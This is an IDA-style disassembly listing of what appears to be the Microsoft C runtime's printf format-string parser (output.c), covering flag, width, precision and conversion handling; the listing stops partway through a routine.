var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= word ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_23F		= byte ptr -23Fh
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= byte ptr -228h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_24], 0
		mov	[ebp+var_22C], 0
		mov	[ebp+var_18], 0


loc_42A6D4:				; CODE XREF: sub_42A6B0:loc_42B2C2j
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_28], cl
		movsx	edx, byte ptr [ebp+var_28]
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	edx, edx
		jz	loc_42B2C7
		cmp	[ebp+var_22C], 0
		jl	loc_42B2C7
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 20h
		jl	short loc_42A726
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 78h
		jg	short loc_42A726
		movsx	eax, byte ptr [ebp+var_28]
		movsx	ecx, byte ptr [eax+43F0D0h]
		and	ecx, 0Fh
		mov	[ebp+var_290], ecx
		jmp	short loc_42A730
; ---------------------------------------------------------------------------


loc_42A726:				; CODE XREF: sub_42A6B0+55j
					; sub_42A6B0+5Ej
		mov	[ebp+var_290], 0


loc_42A730:				; CODE XREF: sub_42A6B0+74j
		mov	edx, [ebp+var_290]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_18]
		movsx	edx, byte_43F0F0[ecx+eax*8]
		sar	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		mov	[ebp+var_294], eax
		cmp	[ebp+var_294], 7
		ja	loc_42B2C2
		mov	ecx, [ebp+var_294]
		jmp	off_42B2D4[ecx*4]


loc_42A770:				; CODE XREF: sub_42A6B0+332j
					; DATA XREF: .XComp0:off_42B2D4o
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+var_28]
		and	edx, 0FFh
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_42A7ED
		lea	edx, [ebp+var_22C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		movsx	ecx, byte ptr [ebp+var_28]
		push	ecx
		call	sub_42B3E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_28], al
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx


loc_42A7BE:				; CODE XREF: sub_42A6B0+13Bj
		movsx	edx, byte ptr [ebp+var_28]
		test	edx, edx
		jnz	short loc_42A7E7
		push	offset aCh_t0	; "ch != _T('\\0')"
		push	0
		push	186h
		push	offset aOutput_c ; "output.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42A7E7
		int	3		; Trap to Debugger


loc_42A7E7:				; CODE XREF: sub_42A6B0+114j
					; sub_42A6B0+134j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42A7BE


loc_42A7ED:				; CODE XREF: sub_42A6B0+E3j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		call	sub_42B3E0
		add	esp, 0Ch
		jmp	loc_42B2C2
; ---------------------------------------------------------------------------


loc_42A80A:				; CODE XREF: sub_42A6B0+B9j
					; DATA XREF: .XComp0:0042B2D8o
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_23C], ecx
		mov	edx, [ebp+var_23C]
		mov	[ebp+var_244], edx
		mov	eax, [ebp+var_244]
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 0
		mov	[ebp+var_234], 0FFFFFFFFh
		mov	[ebp+var_1C], 0
		jmp	loc_42B2C2
; ---------------------------------------------------------------------------


loc_42A84C:				; CODE XREF: sub_42A6B0+B9j
					; DATA XREF: .XComp0:0042B2DCo
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_298], ecx
		mov	edx, [ebp+var_298]
		sub	edx, 20h
		mov	[ebp+var_298], edx
		cmp	[ebp+var_298], 10h
		ja	short loc_42A8B6
		mov	ecx, [ebp+var_298]
		xor	eax, eax
		mov	al, byte_42B30C[ecx]
		jmp	off_42B2F4[eax*4]


loc_42A883:				; CODE XREF: sub_42A6B0+B9j
					; DATA XREF: .XComp0:0042B300o
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx
		jmp	short loc_42A8B6
; ---------------------------------------------------------------------------


loc_42A88E:				; CODE XREF: sub_42A6B0+B9j
					; sub_42A6B0+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42A8B6
; ---------------------------------------------------------------------------


loc_42A898:				; CODE XREF: sub_42A6B0+B9j
					; sub_42A6B0+1CCj
					; DATA XREF: ...
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx
		jmp	short loc_42A8B6
; ---------------------------------------------------------------------------


loc_42A8A3:				; CODE XREF: sub_42A6B0+B9j
					; sub_42A6B0+1CCj
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		or	dl, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_42A8B6
; ---------------------------------------------------------------------------


loc_42A8AE:				; CODE XREF: sub_42A6B0+B9j
					; sub_42A6B0+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_42A8B6:				; CODE XREF: sub_42A6B0+B9j
					; sub_42A6B0+1BCj ...
		jmp	loc_42B2C2
; ---------------------------------------------------------------------------


loc_42A8BB:				; CODE XREF: sub_42A6B0+B9j
					; DATA XREF: .XComp0:0042B2E0o
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 2Ah
		jnz	short loc_42A8F7
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_42B4F0
		add	esp, 4
		mov	[ebp+var_244], eax
		cmp	[ebp+var_244], 0
		jge	short loc_42A8F5
		mov	eax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_244]
		neg	ecx
		mov	[ebp+var_244], ecx


loc_42A8F5:				; CODE XREF: sub_42A6B0+22Dj
		jmp	short loc_42A90E
; ---------------------------------------------------------------------------


loc_42A8F7:				; CODE XREF: sub_42A6B0+212j
		mov	edx, [ebp+var_244]
		imul	edx, 0Ah
		movsx	eax, byte ptr [ebp+var_28]
		lea	ecx, [edx+eax-30h]
		mov	[ebp+var_244], ecx


loc_42A90E:				; CODE XREF: sub_42A6B0:loc_42A8F5j
		jmp	loc_42B2C2
; ---------------------------------------------------------------------------


loc_42A913:				; CODE XREF: sub_42A6B0+B9j
					; DATA XREF: .XComp0:0042B2E4o
		mov	[ebp+var_234], 0
		jmp	loc_42B2C2
; ---------------------------------------------------------------------------


loc_42A922:				; CODE XREF: sub_42A6B0+B9j
					; DATA XREF: .XComp0:0042B2E8o
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 2Ah
		jnz	short loc_42A952
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42B4F0
		add	esp, 4
		mov	[ebp+var_234], eax
		cmp	[ebp+var_234], 0
		jge	short loc_42A950
		mov	[ebp+var_234], 0FFFFFFFFh


loc_42A950:				; CODE XREF: sub_42A6B0+294j
		jmp	short loc_42A969
; ---------------------------------------------------------------------------


loc_42A952:				; CODE XREF: sub_42A6B0+279j
		mov	ecx, [ebp+var_234]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_28]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_234], eax


loc_42A969:				; CODE XREF: sub_42A6B0:loc_42A950j
		jmp	loc_42B2C2
; ---------------------------------------------------------------------------


loc_42A96E:				; CODE XREF: sub_42A6B0+B9j
					; DATA XREF: .XComp0:0042B2ECo
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_29C], ecx
		mov	edx, [ebp+var_29C]
		sub	edx, 49h
		mov	[ebp+var_29C], edx
		cmp	[ebp+var_29C], 2Eh
		ja	short loc_42A9FC
		mov	ecx, [ebp+var_29C]
		xor	eax, eax
		mov	al, byte_42B331[ecx]
		jmp	off_42B31D[eax*4]


loc_42A9A5:				; DATA XREF: .XComp0:0042B325o
		mov	edx, [ebp+var_4]
		or	edx, 10h
		mov	[ebp+var_4], edx
		jmp	short loc_42A9FC
; ---------------------------------------------------------------------------


loc_42A9B0:				; CODE XREF: sub_42A6B0+2EEj
					; DATA XREF: .XComp0:off_42B31Do
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 36h
		jnz	short loc_42A9DB
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 34h
		jnz	short loc_42A9DB
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+var_4]
		or	dh, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_42A9E7
; ---------------------------------------------------------------------------


loc_42A9DB:				; CODE XREF: sub_42A6B0+309j
					; sub_42A6B0+315j
		mov	[ebp+var_18], 0
		jmp	loc_42A770
; ---------------------------------------------------------------------------


loc_42A9E7:				; CODE XREF: sub_42A6B0+329j
		jmp	short loc_42A9FC
; ---------------------------------------------------------------------------


loc_42A9E9:				; CODE XREF: sub_42A6B0+2EEj
					; DATA XREF: .XComp0:0042B321o
		mov	eax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_42A9FC
; ---------------------------------------------------------------------------


loc_42A9F3:				; CODE XREF: sub_42A6B0+2EEj
					; DATA XREF: .XComp0:0042B329o
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_42A9FC:				; CODE XREF: sub_42A6B0+2DEj
					; sub_42A6B0+2EEj ...
		jmp	loc_42B2C2
; ---------------------------------------------------------------------------


loc_42AA01:				; CODE XREF: sub_42A6B0+B9j
					; DATA XREF: .XComp0:0042B2F0o
		movsx	edx, byte ptr [ebp+var_28]
		mov	[ebp+var_2A0], edx
		mov	eax, [ebp+var_2A0]
		sub	eax, 43h
		mov	[ebp+var_2A0], eax
		cmp	[ebp+var_2A0], 35h
		ja	loc_42B0E7
		mov	edx, [ebp+var_2A0]
		xor	ecx, ecx
		mov	cl, byte_42B39C[edx]
		jmp	off_42B360[ecx*4]


loc_42AA3C:				; DATA XREF: .XComp0:off_42B360o
		mov	eax, [ebp+var_4]
		and	eax, 830h
		test	eax, eax
		jnz	short loc_42AA51
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_42AA51:				; CODE XREF: sub_42A6B0+385j
					; sub_42A6B0+396j
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		and	edx, 810h
		test	edx, edx
		jz	short loc_42AA97
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42B530
		add	esp, 4
		mov	[ebp+var_14], ax
		mov	cx, [ebp+var_14]
		push	ecx
		lea	edx, [ebp+var_228]
		push	edx
		call	sub_4340E0
		add	esp, 8
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jge	short loc_42AA95
		mov	[ebp+var_23C], 1


loc_42AA95:				; CODE XREF: sub_42A6B0+3D9j
		jmp	short loc_42AABD
; ---------------------------------------------------------------------------


loc_42AA97:				; CODE XREF: sub_42A6B0+3ACj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42B4F0
		add	esp, 4
		mov	[ebp+var_248], ax
		mov	cl, byte ptr [ebp+var_248]
		mov	[ebp+var_228], cl
		mov	[ebp+var_24], 1


loc_42AABD:				; CODE XREF: sub_42A6B0:loc_42AA95j
		lea	edx, [ebp+var_228]
		mov	[ebp+var_20], edx
		jmp	loc_42B0E7
; ---------------------------------------------------------------------------


loc_42AACB:				; CODE XREF: sub_42A6B0+385j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42B4F0
		add	esp, 4
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0
		jz	short loc_42AAF2
		mov	ecx, [ebp+var_24C]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42AB0C


loc_42AAF2:				; CODE XREF: sub_42A6B0+434j
		mov	edx, off_452500
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	short loc_42AB5B
; ---------------------------------------------------------------------------


loc_42AB0C:				; CODE XREF: sub_42A6B0+440j
		mov	ecx, [ebp+var_4]
		and	ecx, 800h
		test	ecx, ecx
		jz	short loc_42AB3C
		mov	edx, [ebp+var_24C]
		mov	eax, [edx+4]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_24C]
		movsx	edx, word ptr [ecx]
		shr	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_42AB5B
; ---------------------------------------------------------------------------


loc_42AB3C:				; CODE XREF: sub_42A6B0+467j
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_24C]
		mov	ecx, [eax+4]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_24C]
		movsx	eax, word ptr [edx]
		mov	[ebp+var_24], eax


loc_42AB5B:				; CODE XREF: sub_42A6B0+45Aj
					; sub_42A6B0+48Aj
		jmp	loc_42B0E7
; ---------------------------------------------------------------------------


loc_42AB60:				; CODE XREF: sub_42A6B0+385j
					; DATA XREF: .XComp0:0042B368o
		mov	ecx, [ebp+var_4]
		and	ecx, 830h
		test	ecx, ecx
		jnz	short loc_42AB76
		mov	edx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], edx


loc_42AB76:				; CODE XREF: sub_42A6B0+385j
					; sub_42A6B0+4BBj
		cmp	[ebp+var_234], 0FFFFFFFFh
		jnz	short loc_42AB8B
		mov	[ebp+var_2A4], 7FFFFFFFh
		jmp	short loc_42AB97
; ---------------------------------------------------------------------------


loc_42AB8B:				; CODE XREF: sub_42A6B0+4CDj
		mov	eax, [ebp+var_234]
		mov	[ebp+var_2A4], eax


loc_42AB97:				; CODE XREF: sub_42A6B0+4D9j
		mov	ecx, [ebp+var_2A4]
		mov	[ebp+var_258], ecx
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_42B4F0
		add	esp, 4
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_4]
		and	eax, 810h
		test	eax, eax
		jz	short loc_42AC26
		cmp	[ebp+var_20], 0
		jnz	short loc_42ABCD
		mov	ecx, off_452504
		mov	[ebp+var_20], ecx


loc_42ABCD:				; CODE XREF: sub_42A6B0+512j
		mov	[ebp+var_1C], 1
		mov	edx, [ebp+var_20]
		mov	[ebp+var_254], edx


loc_42ABDD:				; CODE XREF: sub_42A6B0+564j
		mov	eax, [ebp+var_258]
		mov	ecx, [ebp+var_258]
		sub	ecx, 1
		mov	[ebp+var_258], ecx
		test	eax, eax
		jz	short loc_42AC16
		mov	edx, [ebp+var_254]
		xor	eax, eax
		mov	ax, [edx]
		test	eax, eax
		jz	short loc_42AC16
		mov	ecx, [ebp+var_254]
		add	ecx, 2
		mov	[ebp+var_254], ecx
		jmp	short loc_42ABDD
; ---------------------------------------------------------------------------


loc_42AC16:				; CODE XREF: sub_42A6B0+544j
					; sub_42A6B0+553j
		mov	edx, [ebp+var_254]
		sub	edx, [ebp+var_20]
		sar	edx, 1
		mov	[ebp+var_24], edx
		jmp	short loc_42AC80
; ---------------------------------------------------------------------------


loc_42AC26:				; CODE XREF: sub_42A6B0+50Cj
		cmp	[ebp+var_20], 0
		jnz	short loc_42AC34
		mov	eax, off_452500
		mov	[ebp+var_20], eax


loc_42AC34:				; CODE XREF: sub_42A6B0+57Aj
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_250], ecx


loc_42AC3D:				; CODE XREF: sub_42A6B0+5C2j
		mov	edx, [ebp+var_258]
		mov	eax, [ebp+var_258]
		sub	eax, 1
		mov	[ebp+var_258], eax
		test	edx, edx
		jz	short loc_42AC74
		mov	ecx, [ebp+var_250]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42AC74
		mov	eax, [ebp+var_250]
		add	eax, 1
		mov	[ebp+var_250], eax
		jmp	short loc_42AC3D
; ---------------------------------------------------------------------------


loc_42AC74:				; CODE XREF: sub_42A6B0+5A4j
					; sub_42A6B0+5B1j
		mov	ecx, [ebp+var_250]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx


loc_42AC80:				; CODE XREF: sub_42A6B0+574j
		jmp	loc_42B0E7
; ---------------------------------------------------------------------------


loc_42AC85:				; CODE XREF: sub_42A6B0+385j
					; DATA XREF: .XComp0:0042B380o
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_42B4F0
		add	esp, 4
		mov	[ebp+var_25C], eax
		mov	eax, [ebp+var_4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_42ACB3
		mov	ecx, [ebp+var_25C]
		mov	dx, word ptr [ebp+var_22C]
		mov	[ecx], dx
		jmp	short loc_42ACC1
; ---------------------------------------------------------------------------


loc_42ACB3:				; CODE XREF: sub_42A6B0+5EFj
		mov	eax, [ebp+var_25C]
		mov	ecx, [ebp+var_22C]
		mov	[eax], ecx


loc_42ACC1:				; CODE XREF: sub_42A6B0+601j
		mov	[ebp+var_23C], 1
		jmp	loc_42B0E7
; ---------------------------------------------------------------------------


loc_42ACD0:				; CODE XREF: sub_42A6B0+385j
					; DATA XREF: .XComp0:0042B364o
		mov	[ebp+var_8], 1
		mov	dl, byte ptr [ebp+var_28]
		add	dl, 20h
		mov	byte ptr [ebp+var_28], dl


loc_42ACE0:				; CODE XREF: sub_42A6B0+385j
					; DATA XREF: .XComp0:0042B37Co
		mov	eax, [ebp+var_4]
		or	al, 40h
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_228]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_234], 0
		jge	short loc_42AD06
		mov	[ebp+var_234], 6
		jmp	short loc_42AD22
; ---------------------------------------------------------------------------


loc_42AD06:				; CODE XREF: sub_42A6B0+648j
		cmp	[ebp+var_234], 0
		jnz	short loc_42AD22
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_42AD22
		mov	[ebp+var_234], 1


loc_42AD22:				; CODE XREF: sub_42A6B0+654j
					; sub_42A6B0+65Dj ...
		mov	eax, [ebp+arg_8]
		add	eax, 8
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, 8
		mov	edx, [ecx]
		mov	eax, [ecx+4]
		mov	[ebp+var_264], edx
		mov	[ebp+var_260], eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_234]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		lea	edx, [ebp+var_264]
		push	edx
		call	off_452898
		add	esp, 14h
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_42AD88
		cmp	[ebp+var_234], 0
		jnz	short loc_42AD88
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_4528A4
		add	esp, 4


loc_42AD88:				; CODE XREF: sub_42A6B0+6C0j
					; sub_42A6B0+6C9j
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_42ADAA
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jnz	short loc_42ADAA
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_45289C
		add	esp, 4


loc_42ADAA:				; CODE XREF: sub_42A6B0+6DFj
					; sub_42A6B0+6EBj
		mov	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_42ADC7
		mov	ecx, [ebp+var_4]
		or	ch, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_42ADC7:				; CODE XREF: sub_42A6B0+703j
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	loc_42B0E7
; ---------------------------------------------------------------------------


loc_42ADDB:				; CODE XREF: sub_42A6B0+385j
					; DATA XREF: .XComp0:0042B378o
		mov	ecx, [ebp+var_4]
		or	ecx, 40h
		mov	[ebp+var_4], ecx
		mov	[ebp+var_238], 0Ah
		jmp	loc_42AE75
; ---------------------------------------------------------------------------


loc_42ADF3:				; CODE XREF: sub_42A6B0+385j
					; DATA XREF: .XComp0:0042B390o
		mov	[ebp+var_238], 0Ah
		jmp	short loc_42AE75
; ---------------------------------------------------------------------------


loc_42ADFF:				; CODE XREF: sub_42A6B0+385j
		mov	[ebp+var_234], 8


loc_42AE09:				; CODE XREF: sub_42A6B0+385j
					; DATA XREF: .XComp0:0042B36Co
		mov	[ebp+var_230], 7
		jmp	short loc_42AE1F
; ---------------------------------------------------------------------------


loc_42AE15:				; CODE XREF: sub_42A6B0+385j
					; DATA XREF: .XComp0:0042B394o
		mov	[ebp+var_230], 27h


loc_42AE1F:				; CODE XREF: sub_42A6B0+763j
		mov	[ebp+var_238], 10h
		mov	edx, [ebp+var_4]
		and	edx, 80h
		test	edx, edx
		jz	short loc_42AE53
		mov	[ebp+var_240], 30h
		mov	eax, [ebp+var_230]
		add	eax, 51h
		mov	[ebp+var_23F], al
		mov	[ebp+var_10], 2


loc_42AE53:				; CODE XREF: sub_42A6B0+784j
		jmp	short loc_42AE75
; ---------------------------------------------------------------------------


loc_42AE55:				; CODE XREF: sub_42A6B0+385j
					; DATA XREF: .XComp0:0042B384o
		mov	[ebp+var_238], 8
		mov	ecx, [ebp+var_4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_42AE75
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx


loc_42AE75:				; CODE XREF: sub_42A6B0+73Ej
					; sub_42A6B0+74Dj ...
		mov	eax, [ebp+var_4]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42AE9E
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42B510
		add	esp, 4
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	loc_42AF2F
; ---------------------------------------------------------------------------


loc_42AE9E:				; CODE XREF: sub_42A6B0+7CFj
		mov	edx, [ebp+var_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_42AEF0
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42AED0
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42B4F0
		add	esp, 4
		movsx	eax, ax
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_42AEEE
; ---------------------------------------------------------------------------


loc_42AED0:				; CODE XREF: sub_42A6B0+800j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_42B4F0
		add	esp, 4
		and	eax, 0FFFFh
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx


loc_42AEEE:				; CODE XREF: sub_42A6B0+81Ej
		jmp	short loc_42AF2F
; ---------------------------------------------------------------------------


loc_42AEF0:				; CODE XREF: sub_42A6B0+7F6j
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42AF15
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42B4F0
		add	esp, 4
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_42AF2F
; ---------------------------------------------------------------------------


loc_42AF15:				; CODE XREF: sub_42A6B0+848j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_42B4F0
		add	esp, 4
		xor	ecx, ecx
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], ecx


loc_42AF2F:				; CODE XREF: sub_42A6B0+7E9j
					; sub_42A6B0:loc_42AEEEj ...
		mov	edx, [ebp+var_4]
		and	edx, 40h
		test	edx, edx
		jz	short loc_42AF77
		cmp	[ebp+var_274], 0
		jg	short loc_42AF77
		jl	short loc_42AF4D
		cmp	[ebp+var_278], 0
		jnb	short loc_42AF77


loc_42AF4D:				; CODE XREF: sub_42A6B0+892j
		mov	eax, [ebp+var_278]
		neg	eax
		mov	ecx, [ebp+var_274]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx
		mov	edx, [ebp+var_4]
		or	dh, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42AF8F
; ---------------------------------------------------------------------------


loc_42AF77:				; CODE XREF: sub_42A6B0+887j
					; sub_42A6B0+890j ...
		mov	eax, [ebp+var_278]
		mov	[ebp+var_26C], eax
		mov	ecx, [ebp+var_274]
		mov	[ebp+var_268], ecx


loc_42AF8F:				; CODE XREF: sub_42A6B0+8C5j
		mov	edx, [ebp+var_4]
		and	edx, 8000h
		test	edx, edx
		jnz	short loc_42AFB7
		mov	eax, [ebp+var_26C]
		mov	ecx, [ebp+var_268]
		and	ecx, 0
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx


loc_42AFB7:				; CODE XREF: sub_42A6B0+8EAj
		cmp	[ebp+var_234], 0
		jge	short loc_42AFCC
		mov	[ebp+var_234], 1
		jmp	short loc_42AFD5
; ---------------------------------------------------------------------------


loc_42AFCC:				; CODE XREF: sub_42A6B0+90Ej
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFF7h
		mov	[ebp+var_4], edx


loc_42AFD5:				; CODE XREF: sub_42A6B0+91Aj
		mov	eax, [ebp+var_26C]
		or	eax, [ebp+var_268]
		test	eax, eax
		jnz	short loc_42AFEC
		mov	[ebp+var_10], 0


loc_42AFEC:				; CODE XREF: sub_42A6B0+933j
		lea	ecx, [ebp+var_29]
		mov	[ebp+var_20], ecx


loc_42AFF2:				; CODE XREF: sub_42A6B0+9EBj
		mov	edx, [ebp+var_234]
		mov	eax, [ebp+var_234]
		sub	eax, 1
		mov	[ebp+var_234], eax
		test	edx, edx
		jg	short loc_42B01F
		mov	ecx, [ebp+var_26C]
		or	ecx, [ebp+var_268]
		test	ecx, ecx
		jz	loc_42B0A0


loc_42B01F:				; CODE XREF: sub_42A6B0+959j
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	edx, [ebp+var_268]
		push	edx
		mov	eax, [ebp+var_26C]
		push	eax
		call	sub_4241B0
		add	eax, 30h
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	ecx, [ebp+var_268]
		push	ecx
		mov	edx, [ebp+var_26C]
		push	edx
		call	sub_424140
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], edx
		cmp	[ebp+var_270], 39h
		jle	short loc_42B087
		mov	eax, [ebp+var_270]
		add	eax, [ebp+var_230]
		mov	[ebp+var_270], eax


loc_42B087:				; CODE XREF: sub_42A6B0+9C3j
		mov	ecx, [ebp+var_20]
		mov	dl, byte ptr [ebp+var_270]
		mov	[ecx], dl
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		jmp	loc_42AFF2
; ---------------------------------------------------------------------------


loc_42B0A0:				; CODE XREF: sub_42A6B0+969j
		lea	ecx, [ebp+var_29]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_4]
		and	eax, 200h
		test	eax, eax
		jz	short loc_42B0E7
		mov	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_42B0CF
		cmp	[ebp+var_24], 0
		jnz	short loc_42B0E7


loc_42B0CF:				; CODE XREF: sub_42A6B0+A17j
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		mov	byte ptr [ecx],	30h
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx


loc_42B0E7:				; CODE XREF: sub_42A6B0+371j
					; sub_42A6B0+385j ...
		cmp	[ebp+var_23C], 0
		jnz	loc_42B2C2
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42B14D
		mov	ecx, [ebp+var_4]
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_42B11B
		mov	[ebp+var_240], 2Dh
		mov	[ebp+var_10], 1
		jmp	short loc_42B14D
; ---------------------------------------------------------------------------


loc_42B11B:				; CODE XREF: sub_42A6B0+A59j
		mov	edx, [ebp+var_4]
		and	edx, 1
		test	edx, edx
		jz	short loc_42B135
		mov	[ebp+var_240], 2Bh
